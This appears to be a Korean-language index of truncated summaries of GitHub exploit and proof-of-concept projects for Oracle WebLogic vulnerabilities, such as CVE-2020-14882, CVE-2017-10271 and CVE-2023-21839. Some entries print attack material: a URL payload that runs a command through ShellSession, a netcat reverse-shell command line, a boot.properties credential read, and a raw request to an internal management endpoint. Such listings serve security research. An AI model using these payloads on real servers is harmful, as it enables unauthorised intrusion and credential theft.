Oracle-WebLogic-CVE-2022-21371

Oracle-WebLogic-CVE-2022-21371 Oracle WebLogic Server 로컬 파일 포함: CVE-2022-21371 영향 받는 버전: Version: 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 및 14.1.1.0.0 설명: Oracle Fusion Middleware의 Oracle WebLogic Server 제품Web Container 구성 요소은 로컬 파일 포함 취약점에 영향을 받습니다. 쉽게 악용될 수 있는 이 취약점은 HTTP 네트워크 접근 권한이 있는 인증되지 않은 공격자가...

westone-CVE-2020-14883-scanner

westone-CVE-2020-14883-scanner 원격 공격자는 인증 없이 WebLogic Server Console을 장악하기 위해 특수한 HTTP 요청을 구성할 수 있습니다. 설치 및 사용법 git clone https://github.com/Osyanina/westone-CVE-2020-14883-scanner.git cd westone-CVE-2020-14883-scanner cmd CVE-2020-14883.exe 영향받는 버전 Oracle WebLogic Server 버전 10.3.6.0 Oracle...

CVE-2020-2551

CVE-2020-2551 Weblogic RCE with IIOP 0x01 IIOP 기본 활성화 0x02 Poc Demo...

CVE-2017-10271

LAB 2 - CVE-2017-10271: WebLogic XMLDecoder 역직렬화 분석 I. 시스템 분석 시스템 로그 분석 감지된 서비스: Oracle WebLogic Server AdminServer가 basedomain에 속하며 Development Mode로 실행 중 연결 포트: 7001 지원 프로토콜: http, t3, iiop, ldap, snmp 공격 표면 평가: 서비스는 포트 7001에서 t3 프로토콜을 노출합니다. 이 기본 구성은 WebLogic 버전이 RMI원격 메서드 호출를 통한 자바 객체 역직렬화 관련...

CVE-2020-14882

CVE-2020-14882 이 스크립트는 인증되지 않은 GET 요청을 사용하여 Oracle WebLogic Server에서 원격 코드 실행RCE을 가능하게 합니다. CVE-2020-14882 취약점을 악용합니다. 임의의 명령어를 실행하여 공격자가 서버에 무단으로 액세스할 수 있습니다. 익스플로잇 세부 정보 Exploit Title: Oracle WebLogic Server, GET 요청을 통한 인증되지 않은 RCE Exploit Author: Danny Safaya CVE: CVE-2020-14882 Vendor Homepag...

ysoserial-cve-2018-2628

ysoserial-cve-2018-2628 0x1. 준비 작업 POC 스크립트 및 Payload Object 생성, JRMPListener 실행에 필요한 소프트웨어 환경 준비 Python 2.7.x Oracle Java SE 1.7+ Patch Set Update 180417 패치가 설치된 WebLogic Server 10.3.6 환경 준비AdminServer만 있어도 됨 이미 이 PSU 버전이 설치된 WebLogic 환경이 있다면 이 단계는 건너뛸 수 있습니다. POC 도구 준비 이 프로젝트에서 POC...

weblogic2021

본 프로젝트는 보안 연구 및 승인된 경우에만 사용되며, 사용자는 현지 법률 및 규정을 준수할 책임과 의무가 있습니다. weblogic2021 CVE-2021-1994、CVE-2021-2047、CVE-2021-2064、CVE-2021-2108、CVE-2021-2075、CVE-2019-17195、CVE-2020-14756、CVE-2021-2109 WebLogic에 영향을 미치는 7개의 심각한...

CVE-2020-14882

CVE-2020-14882 CVE-2020–14882 - Jang의 연구 @s1kr10s의 코드 Poc: 포스트 리뷰 / 비디오: https://testbnull.medium.com/weblogic-rce-by-only-one-get-request-cve-2020-14882-analysis-6e4b09981dbf https://www.youtube.com/watch?v=JFVDOIL0YtA&feature=youtu.be...

CVE-2021-2109

CVE-2021-2109 Weblogic Server 원격 코드 실행 취약점 재현 및 분석 2021년 1월 Oracle은 Oracle 제품군의 329개의 새로운 보안 패치를 포함하는 보안 업데이트 패치를 발표했습니다. 이번 공지에서는 특히 2020년 11월 1일에 발표된 Oracle WebLogic Server의 CVE-2020-14750 취약점에 대한 보안 공지를 언급했습니다. 고객은 이 패치 업데이트와 이 공지의 다른 패치를 적용할 것을 강력히 권장합니다. CVE 번호 CVE-2021-2109, 이 취약점은 Weblogic...

POC-CVE-2026-60206

CVE-2026-60206 — Oracle WebLogic SAML 인증 우회 CVSS 9.9 — Oracle WebLogic Server Core의 SAML 인증 우회. 영향 대상: 12.2.1.4.0 14.1.1.0.0 14.1.2.0.0 15.1.1.0.0 ⚠️ 승인된 보안 테스트 전용입니다. 설치 git clone https://github.com/imbas007/CVE-2026-60206.git cd CVE-2026-60206 pip install -r requirements.txt 사용법 단일 대상 Detect...

cve-2020-14882

CVE-2020-14882 영향을 받는 버전: 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0 POC: http://IP:7001/console/images/%252E%252E%252Fconsole.portal?nfpb=false&pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession"java.lang.Runtime.getRuntime.exec'calc.exe';"; 이미지: EXP: python3...

CVE-2020-14882-weblogicRCE

Oracle "WebLogic Server"의 RCE 탐지 CVE-2020-14882 / CVE-2020-14750 요약: CVE-2020-14882 및 CVE-2020-14750 악용 시도 탐지 - Oracle WebLogic Server의 인증되지 않은 RCE 참고 자료: Oracle 권고: CVE-2020-14882 https://www.oracle.com/security-alerts/cpuoct2020traditional.html CVE-2020-14750...

CVE-2024-21006

CVE-2024-21006 CVE-2024-21006 설명 Oracle Fusion Middleware의 Oracle WebLogic Server 제품 취약점 구성 요소: Core. 영향을 받는 지원 버전은 12.2.1.4.0 및 14.1.1.0.0입니다. 쉽게 악용 가능한 취약점으로, 네트워크 접근이 가능하고 인증되지 않은 공격자가 T3, IIOP를 통해 Oracle WebLogic Server를 손상시킬 수 있습니다. 이 취약점의 성공적인 공격은 중요 데이터에 대한 무단 접근 또는 Oracle WebLogic Server가...

CVE-2020-14645

CVE-2020-14645 Weblogic Server CVE-2020-14645 용 Python EXP（한 번에 완료） 사용법: Python3 exploit.py -t -c 팁: 출력 없음 예시： nc -lvnp 4444 Python3 exploit.py -t 192.168.0.14 -c 'nc 192.168.0.15 4444' 그러면 getshell 할 수 있습니다...

cve-2019-2618

cve-2019-2618 Weblogic 업로드 취약점 사용자 이름과 비밀번호 필요 - CVE-2019-2618 python 사용 python CVE-2019-2618.py url username password weblogic 비밀번호 복호화 root@f0cb7e674d7e:/Oracle cat /root/Oracle/Middleware/userprojects/domains/basedomain/servers/AdminServer/security/boot.properties |grep pass...

CVE-2023-21839

CVE-2023-21839 분석 이 취약점은 t3 또는 iiop 프로토콜을 통해 객체를 바인딩한 후 lookup 또는 list 메서드를 호출할 때 바인딩된 객체의 getReferent 메서드가 트리거되기 때문에 발생합니다. t3 프로토콜의 호출 스택 getObjectInstance:96, WLNamingManager weblogic.jndi.internal resolveObject:377, ServerNamingNode weblogic.jndi.internal resolveObject:856, BasicNamingNode...

weblogic-XMLDecoder

이 소프트웨어는 학습 및 교류 목적으로만 사용되며 어떠한 불법 행위에도 사용이 금지됩니다 Weblogic-XMLDecoder-GUI CVE-2017-10352 python GUI 기반 실험 작품으로, 주요 기능은 weblogic XMLDecoder로 인한 역직렬화 취약점의 악용입니다. 개발 목적은 python tkinter 클래스 라이브러리와 ttk 확장 사용에 익숙해지는 것입니다. 나중에 Windows 실행 파일로 패키징할 예정이며, 주요 대상 취약점은 CVE-2017-10271 및 CVE-2017-10352입니다. 왜 두 ...

CVE-2018-3191

Weblogic-CVE-2018-3191 원격 코드 명령 실행 취약점 weblogic For Docker 환경 0x00 소개 한국 시간 10월 17일, Oracle 공식 발표한 10월 중요 패치 업데이트 CPUCritical Patch Update에서 고위험 WebLogic 원격 코드 실행 취약점CVE-2018-3191이 수정되었습니다. 이 취약점은 인증되지 않은 공격자가 T3 프로토콜 네트워크 접근을 통해 취약한 WebLogic Server를 침해할 수 있으며, 성공적인 취약점 이용은 WebLogic Server가 공격자에게...

CVE-2020-14882

CVE-2020–14882 Weblogic 무단 우회 RCE CVE-2020–14882 패치 우회 private static final String IllegalUrl = new String";", "%252E%252E", "%2E%2E", "..", "%3C", "%3E", ""; 목록 %252E%252E %2E%2E .. %3E %3C ; 소문자 변환 "%252E%252E%252F".lower '%252e%252e%252f' %252E%252E%252F를 %252e%252e%252f로 변환...

CVE-2019-2615

CVE-2019-2615 GET /beawlsmanagementinternal2/wlmanagement HTTP/1.1 Host: 192.168.5.137:7001 User-Agent: Mozilla/5.0 Windows NT 6.1; Win64; x64; rv:66.0 Gecko/20100101 Firefox/66.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/ ;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encodin...